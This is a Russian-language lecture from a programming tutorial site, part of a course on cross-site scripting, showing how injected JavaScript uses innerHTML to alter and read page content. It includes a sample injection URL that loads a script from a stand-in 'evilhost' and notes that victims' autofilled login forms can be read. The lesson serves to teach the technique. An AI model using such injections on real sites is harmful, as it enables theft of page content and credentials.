русс | укр

Языки программирования

ПаскальСиАссемблерJavaMatlabPhpHtmlJavaScriptCSSC#DelphiТурбо Пролог

Компьютерные сетиСистемное программное обеспечениеИнформационные технологииПрограммирование

Все о программировании


Linux Unix Алгоритмические языки Аналоговые и гибридные вычислительные устройства Архитектура микроконтроллеров Введение в разработку распределенных информационных систем Введение в численные методы Дискретная математика Информационное обслуживание пользователей Информация и моделирование в управлении производством Компьютерная графика Математическое и компьютерное моделирование Моделирование Нейрокомпьютеры Проектирование программ диагностики компьютерных систем и сетей Проектирование системных программ Системы счисления Теория статистики Теория оптимизации Уроки AutoCAD 3D Уроки базы данных Access Уроки Orcad Цифровые автоматы Шпаргалки по компьютеру Шпаргалки по программированию Экспертные системы Элементы теории информации

Дописывание в определённое место страницы произвольного HTML/JS-кода.


Дата добавления: 2015-07-09; просмотров: 739; Нарушение авторских прав


 

Вот здесь начнём пользоватся innerHTML. innerHTML - свойство DOM (Document Object Model) элементов. Это свойство позволяет без труда включить в состав элемента любой код в неограниченном количестве. Ниже мы разберём пример включения в документ обычного текста. Эту задачу будет выполнять функция InsertText(). Вот её код:

 

function InsertText(){

// Текст который будет добавлен

var our_text=" - innerHTML in action!";

// в переменную element заносим текст который

// находится внутри наших div-тэгов (у них id - main_div)

var element=document.getElementById("main_div");

// Добавляем текст

element.innerHTML+=our_text;

}

 

Данный код добавит к тексту “our test form” текст “innerHTML in action!”. Всё что нам теперь нужно – вызвать данную функцию. Для этого нужно просто написать её имя в начале скрипта. В итоге код xss_code.js должен быть следующим:

 

// Содержимое xss_code.js

// Вызываем функцию

InsertText();

// Код функции

function InsertText(){

var our_text=" - innerHTML in action!";

var element=document.getElementById("main_div");

element.innerHTML+=our_text;

}

 

Для проверки работоспособности кода пройдите по ссылке:

 

http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>

 

Не забывайте о том, что в innerHTML содержится текст/код находящийся внутри указанного Вами элемента, и Вы можете не только изменять его, но и читать (выводить в alert(), в переменную и т.д.). Вот код, который выполнит чтение всего, что находится внутри тэга <div>:

 

function ShowInnerHTML(){

var our_text=" - innerHTML in action!";

var element=document.getElementById("main_div");

alert(element.innerHTML);



}

 

При вызове данной функции Вы должны увидеть следующее:

А что если взломщику нужно просмотреть весь код страницы? Как Вы наверное уже догадались – нужно получить innerHTML тэга <html>.Для этого можно использовать следующий код:

 

function GetAllPage(){

// В переменную page помещаются все свойства тэга <html>

var page=document.getElementById("html");

// а теперь в переменную CodeOfPage помещаем код страницы

var CodeOfPage=page.innerHTML;

// выводим код страницы с помощью alert().

alert(CodeOfPage);

}

 

Не забывайте про то, что в браузерах есть такая хорошая функция как “автозаполнение форм”. Если вдруг у жертвы данная функция активирована то шанс обнаружить какую-либо информацию в форме (например, авторизации) очень велик.

Это самый простой пример применения XSS не для кражи cookies или вывода сообщений. Идём дальше.

 



<== предыдущая лекция | следующая лекция ==>
Создание тренировочной площадки. | Получение доступа к cookies с ограниченной зоной действия.


Карта сайта Карта сайта укр


Уроки php mysql Программирование

Онлайн система счисления Калькулятор онлайн обычный Инженерный калькулятор онлайн Замена русских букв на английские для вебмастеров Замена русских букв на английские

Аппаратное и программное обеспечение Графика и компьютерная сфера Интегрированная геоинформационная система Интернет Компьютер Комплектующие компьютера Лекции Методы и средства измерений неэлектрических величин Обслуживание компьютерных и периферийных устройств Операционные системы Параллельное программирование Проектирование электронных средств Периферийные устройства Полезные ресурсы для программистов Программы для программистов Статьи для программистов Cтруктура и организация данных


 


Не нашли то, что искали? Google вам в помощь!

 
 

© life-prog.ru При использовании материалов прямая ссылка на сайт обязательна.

Генерация страницы за: 1.324 сек.